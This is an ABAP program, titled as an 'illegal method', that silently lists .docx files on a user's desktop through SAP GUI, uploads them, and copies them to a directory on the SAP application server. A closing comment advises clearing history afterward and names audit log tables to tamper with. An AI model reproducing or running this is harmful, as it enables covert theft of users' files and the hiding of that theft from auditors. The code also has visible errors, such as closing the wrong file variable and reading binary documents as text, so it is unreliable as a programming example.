Getting Files from Local PC via SAP GUI with Illegal Methods

REPORT ZFILE_DOWNLOAD_TO_SERVER_3.

DATA: lv_filename TYPE string,
      file_content TYPE string,
      lv_file_line TYPE string,
      lt_file_data TYPE TABLE OF string.

DATA: filename LIKE rlgrap-filename,
      directory LIKE bdschko16-target_dir,
      itab_dir LIKE sdokpath OCCURS 0 WITH HEADER LINE,
      itab_file LIKE sdokpath OCCURS 0 WITH HEADER LINE,
      dstpath LIKE draw-filep.

directory = 'C:\Users\burha\OneDrive\Desktop\'.
" You can use %UserProfile%\Desktop instead of static

dstpath = '/usr/sap/trans/tmp/new_dir/'.
" Chose this directory for easier access to files imported from the local PC

CALL FUNCTION 'TMP_GUI_DIRECTORY_LIST_FILES'
  EXPORTING
    directory = directory
    FILTER = '*.docx'
  TABLES
    file_table = itab_file
    dir_table = itab_dir.

IF sy-subrc <> 0.
  " Error handling
ENDIF.

LOOP AT itab_file.
  CALL FUNCTION 'GUI_UPLOAD'
    EXPORTING
      filename = directory && itab_file-pathname
      filetype = 'ASC'
    TABLES
      data_tab = lt_file_data
    EXCEPTIONS
      file_open_error = 1
      file_read_error = 2
      no_batch = 3
      gui_refuse_filetransfer = 4
      invalid_type = 5
      no_authority = 6
      unknown_error = 7
      bad_data_format = 8
      header_not_allowed = 9
      separator_not_allowed = 10
      header_too_long = 11
      unknown_dp_error = 12
      access_denied = 13
      dp_out_of_memory = 14
      disk_full = 15
      dp_timeout = 16
      not_supported_by_gui = 17
      error_no_gui = 18
      OTHERS = 19.

  IF sy-subrc <> 0.
    MESSAGE ID sy-msgid TYPE sy-msgty NUMBER sy-msgno
      WITH sy-msgv1 sy-msgv2 sy-msgv3 sy-msgv4.
    EXIT.
  ENDIF.

  DATA: lv_server_dest TYPE string.
  lv_server_dest = dstpath && itab_file-pathname.

  OPEN DATASET lv_server_dest FOR OUTPUT IN TEXT MODE ENCODING DEFAULT.
  IF sy-subrc <> 0.
    RAISE FILE_OPEN_ERROR.
  ENDIF.

  LOOP AT lt_file_data INTO lv_file_line.
    TRANSFER lv_file_line TO lv_server_dest.
  ENDLOOP.

  CLOSE DATASET lv_filename.
ENDLOOP.

" Clear history after execution
" Logs tables: USR04 VE USH04